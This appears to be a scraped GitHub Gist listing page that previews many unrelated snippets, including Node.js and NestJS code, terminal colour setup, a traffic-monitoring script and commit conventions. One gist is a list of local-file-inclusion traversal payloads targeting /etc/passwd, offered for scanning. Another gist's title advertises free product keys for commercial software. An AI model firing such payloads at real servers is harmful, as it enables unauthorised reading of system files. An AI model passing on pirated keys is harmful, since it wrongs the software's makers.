Skip to content

Instantly share code, notes, and snippets.

Interview Questions

Node.js

Q1: What do you mean by Asynchronous API? ☆☆

Answer: All APIs of Node.js library are aynchronous that is non-blocking. It essentially means a Node.js based server never waits for a API to return data. Server moves to next API after calling it and a notification mechanism of Events of Node.js helps server to get response from the previous API call.

Source: tutorialspoint.com

@R0X4R
R0X4R / lfipayloads.txt
Created July 2, 2021 07:52
LFI Payloads for lfi scanning
/etc/passwd
../../../../../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../etc/passwd
@ibayazit
ibayazit / serialize.interceptor.ts
Created April 13, 2023 08:58
NestJS format outgoing response
import {
UseInterceptors,
NestInterceptor,
ExecutionContext,
CallHandler
} from "@nestjs/common";
import { Observable } from "rxjs";
import { map } from "rxjs";
import { plainToInstance } from "class-transformer";
@paladini
paladini / The HEX and RGB code for the Bitcoin orange color
Last active November 21, 2024 04:55
The HEX / RGB code for the orange color from Bitcoin logo
Do you want know what's the orange color from Bitcoin logo? Here's the colours:
Hexadecimal:
#FF9900
RGB
(255,153,0)
Any suggestions are welcome!
Fonts: http://www.color-hex.com/color/ff9900 and https://bitcointalk.org/index.php?topic=224522.0
@andersevenrud
andersevenrud / alacritty-tmux-vim_truecolor.md
Last active November 21, 2024 04:50
True Color (24-bit) and italics with alacritty + tmux + vim (neovim)

True Color (24-bit) and italics with alacritty + tmux + vim (neovim)

This should make True Color (24-bit) and italics work in your tmux session and vim/neovim when using Alacritty (and should be compatible with any other terminal emulator, including Kitty).

Testing colors

Running this script should look the same in tmux as without.

curl -s https://gist.githubusercontent.com/lifepillar/09a44b8cf0f9397465614e622979107f/raw/24-bit-color.sh >24-bit-color.sh
@Hardikanand1st
Hardikanand1st / Aomei all editions product keys.md
Last active November 21, 2024 04:49
Free Product Keys For Aomei All Editions

Discord Username

Hardik#8032

Logo

Aomei Product Keys.

@Lance1o7
Lance1o7 / guard.py
Last active November 21, 2024 04:48
Using vnstat to monitor the monthly traffic of a Linux server, if it exceeds the limit, send a notification to Discord.
from subprocess import run
import requests
INTERFACE = "enp0s6"
LIMIT = "500"
WEBHOOK_URL = ''
MESSAGE = 'Traffic Warning'
p = run(["vnstat", INTERFACE, "--alert", "0", "3", "m", "total", LIMIT, "GB"])
@qoomon
qoomon / conventional-commits-cheatsheet.md
Last active November 21, 2024 04:46
Conventional Commits Cheatsheet

Conventional Commit Messages starline

See how a minor change to your commit message style can make a difference.

Tip

Have a look at git-conventional-commits , a CLI util to ensure these conventions, determine version and generate changelogs

Commit Message Formats

Default

@douglasparker
douglasparker / README.md
Last active November 21, 2024 04:44
Disable & Enable MPO via the Windows Registry

Disable & Enable MPO via the Windows Registry

There is a well known issue where GPU drivers are crashing with multi-monitor setups due to an interaction with Windows MPO and both Nvidia and AMD GPUs.

Until this bug is fixed, the only solution is to disable MPO via the Windows Registry.

Disable MPO

To apply the fix, simply run mpo_disable.reg and reboot your computer.

<?php
/**
* This recipe will add a Restrict field to each discount code. You can then restrict the use of a discount code
* when a user is logged in.
*
* You can add this recipe to your site by creating a custom plugin
* or using the Code Snippets plugin available for free in the WordPress repository.
* Read this companion article for step-by-step directions on either method.
* https://www.paidmembershipspro.com/create-a-plugin-for-pmpro-customizations/
*/